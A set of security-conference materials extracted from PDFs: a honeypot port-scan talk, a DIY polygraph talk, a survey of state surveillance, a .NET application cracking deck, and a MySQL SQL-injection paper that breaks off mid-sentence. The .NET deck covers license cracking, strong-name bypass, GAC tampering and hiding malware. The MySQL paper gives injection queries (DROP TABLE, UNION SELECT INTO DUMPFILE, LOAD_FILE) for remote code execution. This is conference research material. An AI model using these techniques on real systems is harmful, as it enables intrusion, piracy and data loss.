1433, MS SQL Server ? 201395 19.43% 2 445, SMB? 185436 17.89% 3 9415, PPLive open proxy ? 64894 6.26% 4 1080, Socks Proxy or Back Door? 43778 4.22% 5 80 31769 3.06% 6 22 28751 2.77% 7 135, Remote Procedure Call (RPC)? 24874 2.40% 8 3306, MySql? 24745 2.39% 9 3389, Windows RDP? 22039 2.13% 10 8080 19998 1.93% 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 51 A LONG TIME OBSERVATION 比較熱門的 UDP PORTS 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 52 Rank Port # Hit # Ratio 1 29285 (2009~2012) 132937 74.16% 2 22722 7701 4.30% 3 137, netbios-ns? 4818 2.69% 4 161, snmp? 4767 2.66% 5 5060, SIP? 4669 2.60% 6 53 4091 2.28% 7 5724, Operations Manager - SDK Service? 2969 1.66% 8 7793 2041 1.14% 9 19, chargen? 1113 0.62% 10 33348 618 0.34% A LONG TIME OBSERVATION 當 RDP 發生問題 MS12-020 時(2012/03/13) • TCP 3389 在整個統計區間的 ratio 是 2.13% . • 但是在 2012/03 那個月卻是 4%. • 再往前看 2012/02 那個月已先漲到 3.4% • 再往前看 2012/01 那個月就回到基本盤 2.0% • 壞人在 MS12-020 發佈前就已經先拿出來打? • 如果我們夠 lucky 就可以先被打到  2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 53 A LONG TIME OBSERVATION (A LEGACY OF ANTI-BOTNET PROJECT) • 以上就是 Anti-Botnet 計畫的遺產, • 讓我在計畫結束一年後,還有些東西可以 跟大家分享  2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 54 ADAPT TO THE NEW ERA OF SECURITY THREATS. • It was the best of times, it was the worst of times. • 在 WAN 有 Internet Scanning,在 LAN 有 BYOD / IoT issues。 • 設備需要升級,人腦也需要升級。 • 我有一個夢,當我的冰箱有對外的 TCP 6667 連線時,FW 能警告我,那有多好  • 人補 腦 需要更久的時間。 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 55 SUMMARY • 我們不是只能做事後處理,而是我們面對各種攻 擊時,IDS / IPS / FW 因為各種先天不良、後天失調 的結果可能不會叫。(不是叫大家不要買啦) • 除了在 FW 的 WAN 的端,LAN 也是戰場了。 • SDN switch 在 LAN <-> LAN Attack 的保護上應該幫得 上忙。 • 如果我們夠幸運的話, HoneyPot-based port scan detector 也可以當成 0-day 的預警。(久數據的妙用?) • 在未來,除了智慧家電外,應該也會有智慧網安 的設備出現。 • 所以,在網路攻擊發生之前,我們還是可以做點 事  2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 56 Q&A 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 57 ABOUT BOT2014 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 58 ONE MORE THING • 大約今年的十月中 • 相關 Honeypot-based PortScanDetector 會放在 • https://github.com/canaankao/PortScanDetector 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 59 REFERENCE 2014/8/22 SOME THINGS BEFORE NETWORK ATTACK 60 • 長尾分布的圖是引用自 • http://1.bp.blogspot.com/_UfxPP3QC4us/SbVjYX- QbiI/AAAAAAAAAY0/v1a7zLipdfQ/s400/long-tail.png
pdf
The Neuronumerous Group Presents: Build a Lie Detector / Beat a Lie Detector With your hosts Rain And J03b34r Introduction by: Int80 Start to Finish ● History of Deception Detection ● The History of the Polygraph ● How We Built our DIY Polygraph ● Trying to Beat the DIY Polygraph ● The Data Aftermath History of Deception Detection Trial by ordeal ● a primitive method of determining a person's guilt or innocence by subjecting the accused person to dangerous or painful tests believed to be under divine control Trial by combat ● an ancient dispute resolution method where those in dispute would fight one another until submission or death. History of Deception Detection (cont.) Trial by torture ● an act where severe pain is intentionally inflicted on a person to obtain a confession of guilt. The "third degree" ● a euphemism used for trial by torture when used by the police. The adversarial justice system ● two-sided structure under which criminal trial courts operate. History of the Polygraph 1920s ● Modern polygraph developed ● 1930s ● Polygraph starts its move into private sector 1940s to 1950s ● Polygraph meets Cold War America History of the Polygraph (cont.) 1960 to 1970s ● Polygraph spreads rapidly in both government and private sector 1980s ● Polygraph Protection Act passed 1990s to Today ● Polygraph Redux How We Built our DIY Polygraph ● Gotta start somewhere ● Respiratory rate ● Galvanic skin response ● Pulse http://courses.cit.cornell.edu/ee476/FinalProjects/ s2007/jsc59_ecl37/jsc59_ecl37/report2.html How it Works Oldgrover's Super Sweet Breathing Band Outside the Box Inside the Box Trying to Beat the DIY Polygraph ● The numbers test ● Breathing strategy ● Biting tongue ● Contracting anal sphincter muscle The Data Aftermath ● What went right ● Surprises and pitfalls ● Future jumping of points Shoutouts and Thanks! Psychedelicbike, Oldgrover, Christian Gruber, Int80, Dead Addict, Anonymous, Brad Smith, Seth Hardy and of course the rest of the Neuronumerous group. (I love you guys!)
pdf
Digital Leviathan Nation-State Big Brothers (from huge to little ones) Eduardo Izycki & Rodrigo Colli Las Vegas, August 11th 2018 AGENDA INTRO SOURCES OUTCOMES CONCLUSION INTRO INTRO “We should give our obedience to an unaccountable sovereign otherwise what awaits us is a ‘state of nature’ that closely resembles civil war – a situation of universal insecurity”. ? ! The claim Terrorism, cybercrime, foreign espionage, among other are examples that support politicians claims for increase state power over online life. Opposing evidence The current use of cyber offensive tools are aimed to political objectives rather than public safety Thomas Hobbes Espionage Surveillance / Eavesdropping Censorship Stealing of information and/or personal data (for achieving political purposes, i.e. opposition party, NGO, ethnic minorities) Untargeted violations of privacy (monitoring of behavior, activities, or other changing information of people online) Block specific applications or technologies; filtering and blocking of websites; manipulation of content or traffic manipulation; violations of user rights. INTRO 1 2 3 SOURCES APT Reports Leaks from spyware providers Acquisition of technology • Total of 758 reports/blog posts from vendors, NGO, CSIRT and universities, • The dataset has bias from a western perspective (close to 80%) • Two big providers of surveillance solutions Hacking Team and Gamma Group, • Data is available from multiple sources (Wikileaks has a good search platform) • Surveillance and/or intrusion technologies reported from multiple sources • Purchases made by different countries (potential cyber capabilities) SOURCES 1 2 3 • Focus on attacks targeting NGO, political groups, media outlets, or opposition was considered as an indicator of state misbehavior • Many cases it was possible to identify who acquired it (law enforcement, military, intelligence, etc) • Buggedplanet.info and Surveillance Industry Index (SII) were helpful sources Censorship Transparency Reports • Freedom House, OONI, Google, Reporters without Borders and OpenNet provide evidence of some level online censorship, • Blocking applications, technologies, traffic; filtering and blocking of websites; violations of user rights • Transparency Reports issued by major social networks and content providers •Facebook, Twitter, Google, Yahoo, Apple, LinkedIn, Snapchat, Tumblr, Dropbox, Wiki,Microsoft, and WordPress SOURCES 4 5 • Based on a western view of freedom of speech (an individual or a community to articulate their opinions and ideas without fear of retaliation, censorship or sanction) • Provides extra detail on the intent of Nation-States use of social media for surveillance OUTCOMES OUTCOMES 55% 119 17 + Documents that had some level of attribution Considered state- sponsored attacks Countries attributed with a state-sponsored APT Extensive use of Python3 (NLTK) and regular expressions for processing documents / posts 402 Single APT Groups and/or Campaigns EUA México França Reino Unido Egito Emirados Árabes Israel Turquia Líbano Irã Síria Etiópia Índia Paquistão China Coreia do Norte Rússia STATE SPONSORED APT OUTCOMES Cazaquistão Bahrain 46 41 32 27 24 18 17 17 8 8 6 5 Political Targets FFAA Government Diplomacy P&D Midia Energy Telecom Automation Finnacial Oil & Gas Health State-Sponsored APT - Targets OUTCOMES 57% 26 29 + Countries acquired offensive solutions from private vendors In 41 cases it was possible to identify the user/buyer User/buyer was an intelligence agency and/or armed forces Countries that acquired more than one offensive solution Wikileaks' search platform, Buggedplanet.info, Surveillance Industry Index, and reports from Citizen Lab / Privacy International / Freedom House 71 ACQUIRED OFFENSIVE SOLUTIONS Bull / Amesys 2 countries Cyberbit 10 countries Dreamlab 2 countries Gamma Group 55 countries Hacking Team 37 countries NSO Group 3 countries SS8 4 countries Trovicor 9 countries Major Private Vendors Procera 2 countries OUTCOMES NEW THREATS Users / Buyers Saudi Arabia GIP / GID / MD Azerbaijan Azerbajan NS Bangladesh (DGFI) Cyprus Intelligence Agency Ecuador SENAIN Spain CNI Hungary SSNS Indonesia Lembaga Sandi Negara Kenya NIS Marroco CSDN / DST Mongolia SSSD Malasya MACC / MALMI / PMO Oman Intelligence Agency Panama Presidency Cabinet Serbia BIA Singapore IDA SGP Thailand Royal Thai Army Uganda CMI Uzbequistan NSS OUTCOMES MULTIPLE OFFENSIVE SOLUTIONS > OUTCOMES 2 6 1 2 0 8 3 7 15 27 4 13 1 29 13 22 Africa Europe US/Canada Latin America Oceania MENA Russia & CIS Southeast Asia Contries with multiple solutions Solutions (Total) Multiple Providers 1 1 1 2 2 2 11 21 30 Law Enforcement / Armed Forces Customs / IRS Telecom Armed Forces Intelligence / Armed Forces State Level Law Enforcement Intelligence Agency Unidentified User / Buyer 74% In 32 countries the shutdown reached national level OUTCOMES 42 57 + Countries with evidence of online censorship Countries with evidence of some level of internet shutdown Countries with evidence from two or more sources Reports from Freedom House, OONI, Google, Reporters without Borders and OpenNet Initiative 40 OONI – Open Observatory of Network Interference OUTCOMES FREEDOM HOUSE – Freedom of the Net OUTCOMES WEB FOUNDATION – Web Index OUTCOMES OPEN NET INITIATIVE OUTCOMES Censorship and Shutdowns – Multiple Sources ACCESSNOW.ORG – SHUTDOWN TRACKER OUTCOMES #OpOperadoras – Brazil 2016 Saudi Arabia All sources Bahrain 4 sources Turkey 4 sources Iran 4 sources United Arab Emirates 3 sources China All sources Vietnam All sources Pakistan 4 sources Ethiopia 4 sources 63% World average requests where some data was produced (FB – 2017) OUTCOMES 10 125 + Companies worldwide publish transparency reports Major content providers covered in this analysis Countries have requested information or to remove content Most transparency reports data are available in csv/json formats, unfortunately some only PDF 70 Transparency Reports OUTCOMES - 2.000 4.000 6.000 8.000 10.000 12.000 14.000 2013 2014 2015 2016 2017 Facebook - Transparency Report - Total Data Requests Facebook - Transparency Report Brazil India Mexico Poland Turkey 0 200 400 600 800 1000 1200 2012 2013 2014 2015 2016 2017 ACCOUNT INFORMATION REQUESTS Twitter - Transparency Reports Brazil India Mexico Poland Turkey 0 2000 4000 6000 8000 10000 12000 14000 16000 2013 2014 2015 2016 2017 Total Number of Law Enforcement Requests Microsoft - Transparency Report Brazil India Mexico Poland Turkey - 1.000 2.000 3.000 4.000 5.000 6.000 7.000 8.000 9.000 2009 2010 2011 2012 2013 2014 2015 2016 2017 User Data Requests Google - Transparency Report Brazil India Mexico Poland Turkey Transparency Reports OUTCOMES - 500 1.000 1.500 2.000 2013 2014 2015 2016 2017 Facebook - Transparency Report - Total Data Requests Facebook - Transparency Report - 500 1.000 1.500 2.000 2009 2010 2011 2012 2013 2014 2015 2016 2017 User Data Requests Google - Transparency Report 31,6% 1,0% 35,4% 44,2% 42,5% 50,8% 0% 10% 20% 30% 40% 50% 60% 2012 2013 2014 2015 2016 2017 Twitter - Transparency Reports 0 500 1000 1500 2000 2012 2013 2014 2015 2016 2017 ACCOUNT INFORMATION REQUESTS Twitter - Transparency Reports CONCLUSION CONCLUSION OFFENSIVE CAPABILITIES Sponsored APT – Users Affected There are evidence that 19 countries were attributed as authors/sponsors of cyber attacks. Another 18 countries possess cyber weapons with Intelligence Agencies At last, 34 countries acquired cyber weapons but the user/buyer is not known Cyber offensive tools being used against political targets 1 85 countries attacked and/or possess cyber weapons 54,9 % Worldwide Sponsored APT + Intelligence Agencies 64,0% Worldwide All Cyber Offensive Capabilities 92,2% Worldwide CONCLUSION CENSORSHIP & BLOCKING Censorship/Shutdowns – Internet Users Out of 57 countries that engaged in censorship or shutdowns, 26 did both. Concerning social media such as Facebook, Twitter and Google, all countries have increased its yearly number of requests Online Censorship and Internet Shutdowns 2 The two are strongly correlated 56,7 % Worldwide Eduardo Izycki Independent Researcher linkedin.com/in/eduardoizycki eduizycki@protonmail.com Thanks!
pdf
Jon McCoy www.DigitalBodyGuard.com Hacking.NET Applications: The Black Arts Why .NET Countermeasures Skill Level Needed Will this work on every .NET application BACKGROUND How-To Attack .NET Applications Tools and Methodology of Attacking Overcome “secure” .NET Applications Building KeyGen/Crack/Hacks/Malware Reverse Engenerring for Protection THIS WILL COVER Attacking/Cracking IN MEM ||| ON DISK ATTACK OVERVIEW Attack on Disk Access Logic Debug Recompile Attack in Memory/Runtime Inject Target App Edit/Control Structure Decompile Infect Logic Hook Logic Navigate Structure Attack The Source Find the weak spot Subvert the Logic/State In Memory OR On Disk Control what you need Do your Reconnaissance ATTACKING ON DISK DEMO GrayWolf – IL_Spy – Reflector 101 - DECOMPILERS 101 - ATTACK ON DISK Decompile - Get code/tech Infect - Change the target's code Remold Application - WIN Exploit - Take advantage Connect/Open - Access Code THE WEAK SPOTS Flip The Check Set Value is “True” Cut The Logic Return True Access Value FLIP THE CHECK SET VALUE TO “TRUE” bool Registered = false; bool Registered = true; bool Registered = false; If(a!=b) If(a==b) If(a==b) RETURN TRUE bool IsRegistered() { Return “TRUE”; } RETURN TRUE bool IsValidKey(string x) { Return “TRUE”; } CUT THE LOGIC string sqlClean(string x) { Return x; } ACCESS VALUE bool ValidPassword(int x) { ShowKey(Pass); Return (x==Pass); } ATTACK SECURITY Microsoft Media Center CRACK PASSWORD CRACK PASSWORD Return True; CRACK DEMO REGISTRATION CHECK KeyGens Cracks CRACK THE KEY Public/Private 3/B==Name*ID*7 Call Server Demo = True; Complex Math == == == == == Complex Math Change Key ASK what is /B? Hack the Call Set Value 1% of the time the KeyGen is given PUBLIC/PRIVATE KEY If you can beat them Why join them Key = “F5PA11JS32DA” Key = “123456ABCDE” SERVER CALL 1. Fake the Call 2. Fake the Request 3. Fake the Reply 4. Win “Send” SystemID = 123456789 *Registered = True* Reg Code = f3V541 REG CODE REPLAY Name: Code: == JON DOE 98qf3uy != *C 5G9P3 FAIL Name: Code: *C 5G9P3 REG CODE REPLAY Name: Code: == JON DOE 5G9P3 == *C 5G9P3 WIN REG CODE REPLAY COMPLEX MATH 1. Chop up the Math 2. Attack the Weak 3. ?????????? 4. Profit DEMO CRACK A KEY IL – Intermediate Language Code of the Matrix |||| NEW ASM IT CAN’T BE THAT EZ NO PROTECTION ON DISK Protection - Security by 0b$cur17y Code Obfuscation Shells / Packers / Encrypted(code) Logic Obfuscation Unmanaged calls…………. Try to SHUTDOWN Decompilation PROTECTION ON DISK 0bfu$ca7ed PROTECTION ON DISK Signed code (1024 bit CRYPTO) Strong Names Try to SHUTDOWN Tampering Protection – Security by security Verify the creator ACLs……… M$ stuff STRONG NAME Example Strong Name: Simple Name Public Key Token StrongName: EXESample, Version=1.0.4203.24068, Culture=neutral, PublicKeyToken=2a79b79e3c411f38 EXESample, Version=1.0.4203.24068, Culture=neutral, PublicKeyToken=2a79b79e3c411f38 Version Culture Most of the time PublicKeyToken=null PRIVET KEY SIGNING Signed code is based on Private Key - 1024 bit Signed Hash of Code ……….. Identify and Verify the Author UNPROTECTED/PROTECTED IT CAN BE THAT EZ YES NO NO ’T ‘T PRIVET KEY SIGNING Signed code is based on Private Key - 1024 bit Signed Hash of Code ……….. SIGNED CODE CHECKING IS OFF BY DEFAULT ATTACK VECTOR STRONG NAME HACKING PublicKeyToken= b77a5c561934e089 PublicKeyToken= 683127632be2c302 STRONG NAME HACKING FAKE SIGNED DLL FAKE SIGNED DLL [HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\.NETFramework] "AllowStrongNameBypass"=dword:00000000 Turn Key Checking ON FAKE SIGNED DLL ERROR FAKE SIGNED EXE FAKE SIGN DLL/EXE GLOBAL ASSEMBLY CASH --THE GAC-- What is the GAC? How to access the GAC? Attacking from the GAC? ATTACK VECTOR GLOBAL ASSEMBLY CASH C:\Windows\assembly\ GLOBAL ASSEMBLY CASH C:\Windows\assembly\ GLOBAL ASSEMBLY CASH GAC \GAC – Installed/Sandbox \GAC_32 – 32bit-(x86) \GAC_64 – 64bit-(x64) \GAC_MSIL – MSIL(ANY) NATIVE IMAGE(NI) GAC \NativeImages_v2.0.50727_32 \NativeImages_v2.0.50727_64 \NativeImages_v4.0.30319_32 \NativeImages_v4.0.30319_64 VER 1.1 - is dead  VER 2.0 & 3.5 VER 4.0 VER 3.0 - is dead  GAC C:\Windows\assembly\ C:\Windows\winsxs\ C:\Windows\Microsoft.NET So much GAC!!!!!!!!!!!!!!!!!!! ATTACK THE GAC ATTACK FROM THE GAC ATTACK FROM THE GAC NativeImages GAC ATTACK THE GAC 1. Delete the Native Image 2. Replace File in GAC 3. Hack Target from GAC ATTACK FROM THE GAC ATTACK FROM FRAMEWORK .NET Framework ASM THE OLD IS NEW ATTACK VECTOR Shell Code - ASM UNmanaged NO .NET Security Exicute ASM Attack with Unmanaged Calls or Reflection ……….. FAKE SIGNED DLL THE OLD IS NEW AGAIN ASM-SHELLS Attack from a lower level Brake the “safe” security ASM-Shells.…  shells… Attack the Runtime The Power of ASM VISUAL STUDIO Exploit – Run arbitrary code First noted in 2004 Demo PowerShell - Matrix Get developer Keys Attack the SVN & DB Virus Malware Attacking/Cracking IN MEM |||| ON DISK ATTACKING .NET APPLICATIONS: AT RUNTIME WHY AT RUNTIME SECURITY SYSTEMS Hacks Cracks Malware Backdoors Inject at Runtime GrayDragon C++ DLL .NET DLL Inject At Runtime Inject At Runtime ATTACKING APPS Gain Full Access Reverse Engineer Attack (in MEM) Take out the “Security” Control the Program PAST TALKS Hacking .NET Application: A Runtime Attack Control the Runtime Control the Application DEMO: GOD MODE Inject and Control SO YOU’RE NOT A HACKER WHY SHOULD YOU CARE? Defend your Applications Defend your Systems Verify your Tools\Programs VERIFY YOUR APPLICATIONS What is the Crypto & KEY What info is it sending home Does it have Backdoors? Is your data Secure? REVERSE ENGINEERING What is going on? What technology is used? Any MaLWare? Threat Level? What is the security? Take Control Don't be helpless Know you Threats LOOK INSIDE DON’T LOOK Keys Crypto DB BackDoors Good Code Technology Weak Spots Data Leaks Reg Code Bad Code MalWare Passwords SECURITY The Login security check is Does A == B Does MD5%5 == X Is the Pass the Crypto Key DATA LEAK The Data sent home is Application Info User / Registartion Info Security / System Info KEY The Crypto Key is A Hard Coded Key The Licence Number A MD5 Hash of the Pass 6Salt 6MD5 Hash of the Pass CRYPTO The Crypto is DES 64 Tripple DES 192 Rijndael AES 256 Home MIX (secure/unsecure) So your malware How do you hide Fake (Signed DLL Protection) Protection (Obfuscated Code) Attack (Unmanaged Calls) Protection (Shell Crypto) Intelligent names Code style Don’t use loops Don’t use one area for your Vars Use Timers Link to Events REUSE The TARGET Call back into your target Spread out your Vars and Code Access the normal program Protect Me! 2010 Androsa FileProtector Protect Me! 2010 Androsa FileProtector Good Crypto Salt & VI Encrypted Pass B 0b$cur17y Password SHA512 Custom Crypto LIB’s Possible Back Door Protect Me! 2010 Androsa FileProtector DEMO PROTECTION FOR WHO? Infect Obfuscated App 0bfu$ca73 WHAT M$ DID RIGHT Un-obfuscated Code ∑ Good for user security ∑ User can see what they are running .NET Framework Security ∑ Targeted Security Access ∑ Protect the Computer from the app Giving Reduced Rights Inside Code ∑ Put venerable code in a box ∑ Mitigate & Segment Risk RIGHT MixModeCode – Bad for security ∑ This allows ASM\C++\C code ∑ This breaks out of .NET security GAC & Native Image Override ∑ Removes ability to secure code Not Hash Checking Code ∑ Good for hackers WHAT M$ DID RIGHT WRONG ATTACKING APPS Read my papers: Reflections Hidden Power & Attacking .NET at Runtime Watch 2010 Presentations on Attacking .NET DefCon 18, AppSec-DC, DojoCon Look up Presentations and Research from Andrew Willson, Erez Ezule, Arndet Mandent Use tools: Visual Studio/MonoDev Reflector/GrayWolf/ILspy/…/ILASM/ILDASM FIN www.DigitalBodyGuard.com MORE INFORMATION @: FIN = 1 HACKER VS ATTACKER 101 - Recon File Location C:\Windows\ehome\ehshell.dll StrongName KEY d:\w7rtm.public.x86fre\internal\strongnamekeys\fake\windows.snk Registry CurrentUser OR LocalMachine SOFTWARE\Microsoft\Windows\CurrentVersion\Media Center\ Web Host Address www.microsoft.com/WindowsMedia/Services/2003/10/10/movie 101 - Recon EHSHELL Windows Media Center .NET Framework Ver 3.5 Un-0bfu$ca7ed Crash Reporting Watson Coded in C#
pdf
1 Advanced MySQL Exploitation Muhaimin Dzulfakar muhaimindz@gmail.com 2 Contents 1 Abstract............................................................................................................................................3 2 Introduction ....................................................................................................................................3 3 Stacked Query.................................................................................................................................3 4 Attacking MySQL on applications that do support stacked queries...............................................4 5 Attacking MySQL on applications that do not support stacked queries........................................5 6 Fingerprinting the web server directory.........................................................................................7 6.1 Fingerprint through error message method................................................................................7 6.2 Fingerprint through LOAD_FILE method......................................................................................7 7 Maximum size of arbitrary code allowed........................................................................................7 8 Arbitrary file compression/decompression ....................................................................................8 9 Dealing with columns......................................................................................................................8 10 Remote code execution on LAMP.................................................................................................9 11 Remote code execution on WAMP.............................................................................................10 References ........................................................................................................................................11 3 1 Abstract This document discusses in detail how SQL Injection vulnerabilities can be used to conduct remote code execution on the LAMP (Linux, Apache, MySQL and PHP) [1] or WAMP (Windows, Apache, MySQL and PHP) environments [2]. Attackers performing SQL injection on a MySQL platform must deal with several limitations and constraints. For example, the lack of multiple statements in one query makes MySQL an unpopular platform for remote code execution, compared to other platforms. A lot of research has been performed in the last few years, concentrating on arbitrary code execution by attacking SQL Injection vulnerabilities. However, these types of attacks concentrate on the DBMS connectors that support stacked queries [3]. This document will explain how different methods can be used to achieve the same result on a DBMS connector that does not support stacked queries. 2 Introduction SQL injection is an attack where malicious code is injected into the SQL statement. SQL Injection attack allows a malicious user to retrieve the structure of the database and uncover information regarding the application’s operating environment. It has been proven that arbitrary code execution is the highest risk level a malicious user can achieve when conducting SQL injection attack. MySQL is a popular database server and acts as the database component of the LAMP (Linux, Apache, MySQL and PHP) and WAMP (Windows, Apache, MySQL and PHP) software stacks. DBMS connectors for this technology do not support stacked queries by default. This makes the same technique used to conduct remote code execution on platforms that support stacked queries, cannot be applied on this platform. 3 Stacked Query Stacked query is a term to define if a database connection layer can execute more than one query at a time. Each query is separated by semicolon. The following example is an example of stacked queries in an SQL Injection attack: SELECT name FROM record WHERE id = 1; DROP table record; DROP table address-- 4 In the example above, there are three separate queries requested at one time. The first query is the actual query from the application. These queries are allowed when called within the database server. However, when this stacked query is called within the MySQL- PHP application by default, an error message will be replayed back by the application and none of the queries will be executed. 4 Attacking MySQL on applications that do support stacked queries It has been discovered that the MySQL UDF (User Define Function) library [4] creation technique, can be used to conduct remote code execution on applications which support stacked queries. This has been clearly explained by David Litchfield in The Database Hacker’s Handbook [5]. At Blackhat Europe 2009, Bernando Damele explained the similar technique in detail. The steps below are taken from Bernando Damele’s whitepaper [6]. 1) Create a support table with one field, data-type longblob. 2) Encode the local file content to its corresponding hexadecimal string. 3) Split the hexadecimal encoded string into chunks long 1024 characters each 4) INSERT [7] the first chunk into the support table's field. 5) UPDATE [8] the support table's field by appending to the entry the chunks from the second to the last. 6) Export the hexadecimal encoded file content from the support table's entry to the destination file path by using SELECT's INTO DUMPFILE [9] clause. This is possible because on MySQL, a query like SELECT 0x41 returns the corresponding ASCII character A. Here are some requirements to perform this action: 1) DBMS connector must support stacked queries. 2) Session user is required to have FILE [10], INSERT, CREATE [11] and UPDATE privileges. 3) On some MySQL versions below 5.1.19, shared library [12] path must be writable by a session user. Prior knowledge of this directory is also required. 4) On some MySQL versions 5.1.19 and above, system variable plugin_dir [13] must exist and be writable by a session user. Prior knowledge of this directory is also required. It has been known that there are some limitations to this technique. By default, MySQL Linux runs as a mysql user and the shared library path is not writable by this user. 5 However, this behavior is not applied to MySQL on Windows. MySQL on Windows runs as a Local System user and by default, file created by this user can be overwritten onto any folder. For the recent versions of MySQL, the directory belonging to system variable plugin_dir does not exist. This directory is required to be created first and writable by a session user. 5 Attacking MySQL on applications that do not support stacked queries Due to the unsupported stacked queries on MySQL-PHP platform, execution of another statement after the actual statement is not possible. However, execution of another SELECT statement is possible using UNION syntax [14]. UNION syntax is used to combine the result from multiple SELECT statements into a single result set. The statement below taken from MySQL 5.1 Refence Manual: SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] 6 [INTO OUTFILE 'file_name' export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]] It was discovered that only SELECT INTO DUMPFILE can be used to write arbitrary binary files onto the database server using UNION SELECT. When injecting this statement, only one statement can be used to create the whole file. Also, this file cannot be overwritten by calling another SELECT INTO DUMPFILE statement to write into the same file. The statement below taken from MySQL 5.1 Reference Manual: Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However, the entire UNION result is written to the file.) Due to the nature of the UNION statement, results retrieved from the first query will be the first set of data to write into our arbitrary file. For example: SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO DUMPFILE ‘file’ If the first query returns any data, this data will overwrite the file header. To prevent this, we can inject any non existing value in the WHERE clause so no data would be extracted from the first query. This is to ensure that only our chosen data is written into the file. The file is also required to be located in a directory where we can execute it. In the case of a DBMS connector that does not support stacked queries, the best directory to upload this file onto an Apache web server directory. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine. By uploading onto the Apache web server directory, a PHP script can be used to execute the file using the SYSTEM function [15]. Here are some requirements to perform this action: 1) Prior knowledge of the Apache web server directory. 2) Session user is required to have FILE privilege. 3) Session user is required to have access to write onto the web server directory. 7 6 Fingerprinting the web server directory In some cases where the web server root directory is not located in the default folder during the installation process, fingerprinting can be used to achieve this information. There are two methods that can be used to fingerprint the web server directory. It can be fingerprinted by forcing the application to return an error message or by loading the default location of the Apache configuration file. 6.1 Fingerprint through error message method By default, custom error message is turned off by PHP. There are many ways to force the application to return an error message that contains internal information including the web server directory. For example, this error message can be generated by injecting a single quote as part of the SQL data. Here is an example of the error message returned by the PHP application when a single quote is injected, as part of the SQL data. Fatal error: Call to a member function execute() on a non-object in /var/www/output.php on line 15 6.2 Fingerprint through LOAD_FILE method LOAD_FILE [16] can be used to read a file on the database server. To use this function, FILE privilege is required by the session user. The file must also be readable by all and its size must be less than max_allowed_packet bytes value in the Apache configuration file. A default apache configuration file meets this requirement. The DocumentRoot directive [17] in this file contains the path of the Apache web server root directory and can be used to disclose this information. Here is an example of the query to load an Apache configuration file on Apache version 2.2, in a default installation of Ubuntu Linux. SELECT LOAD_FILE('/etc/apache2/sites-available/default') 7 Maximum size of arbitrary code allowed The LimitRequestLine directive [17] in the Apache configuration file allows the web server to reduce the size of an HTTP request . This includes all information passed in the query as part of the GET request. The default value for this directive is 8190 bytes. If the SQL Injection is discovered on the GET request and our query including the arbitrary code 8 is larger than this value, Apache web server would response with the HTTP Status Code 414 and the request would not be processed. By default, the Apache web server sets the LimitRequestBody directive to 2GB [17]. This is the allowed size of an HTTP request message body. If the SQL Injection is discovered in a POST request, 2GB will give us enough room to upload our arbitrary code. Web application firewalls also have the ability to terminate a long request. This long request is normally detected as a buffer overflow attack. 8 Arbitrary file compression/decompression PHP contains a module called Zlib [18] that can be used to read and write gzip compressed files. This module can be abused to compress the arbitrary file into a smaller file using the gzcompress function [19]. The Zlib module is able to compress our file from 9635 bytes to only 630 bytes. When the compressed file is successfully uploaded on the web server, gzuncompress function [20] can be used to decompress the file. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine. 9 Dealing with columns A UNION clause will combine the result from multiple SELECT statements into a single result set. The two queries must have the same number of columns. Due to this reason, some unnecessary data will be added to our data which could potentially corrupt our file. For example: SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL, 0x8A789C....... INTO DUMPFILE ‘file’ The result from the first query will be added into our compressed file. As mentioned in the section 5, we can inject any non existing value into the WHERE clause so there would be no data extracted from the first query. However, due to the extra columns required in this statement, any bad character data added into the first two columns also could potentially corrupt our file. To prevent our file header from being overwritten by any bad character data, we can add our data in the first column and inject any random data into the other columns as seen in the following example. 9 SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’ The first column in the example above is filled with our compressed arbitrary data. When Zlib library is used, the Adler32 checksum [21] will be found at the end of the compressed data in the first column . As mentioned in the RFC 1950 [22] , any data which may appear after the Adler32 checksum is not part of the Zlib stream. We can abuse this functionality by injecting any value into the other columns. This may help the compressed arbitrary file to be decompressed without having any issues. Another method is to ensure that all the arbitrary data is filled in sequence into all columns in the second query. It would not be an issue if one of the columns contains more data than the other columns as seen in the following example. SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A, 0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’ 10 Remote code execution on LAMP Remote code execution on LAMP contains several limitations and constraints. By default, MySQL runs as a mysql user. Arbitrary files created through SELECT INTO DUMPFILE can only be uploaded onto the directory where the mysql user is allowed to write onto. By default, the uploaded file is not executable but readable. This file also is owned by mysql user. A PHP script can be used to read the file and write the same file content to a new file. This new file created is owned by the www-data user and the same PHP script can be used to change the permission of this file to be executable using the PHP SYSTEM function. To perform this action, this file needs to be uploaded onto the web server directory that is writable by mysql and www-data users. By default, any directory created by other users are not writable by these users. In some cases, these directories are set to be writable. An example of this can be found in an application where a user is allowed to upload content onto the web server directories, through the file upload feature. If the writable directories can be discovered on the web server and the file is successfully uploaded, PHP script can be used to execute the malicious file using the PHP SYSTEM function. 10 11 Remote code execution on WAMP Remote code execution on WAMP contains less limitations and constraints in order to function. By default, MySQL runs as a Local System user and files created through SELECT INTO DUMPFILE can be 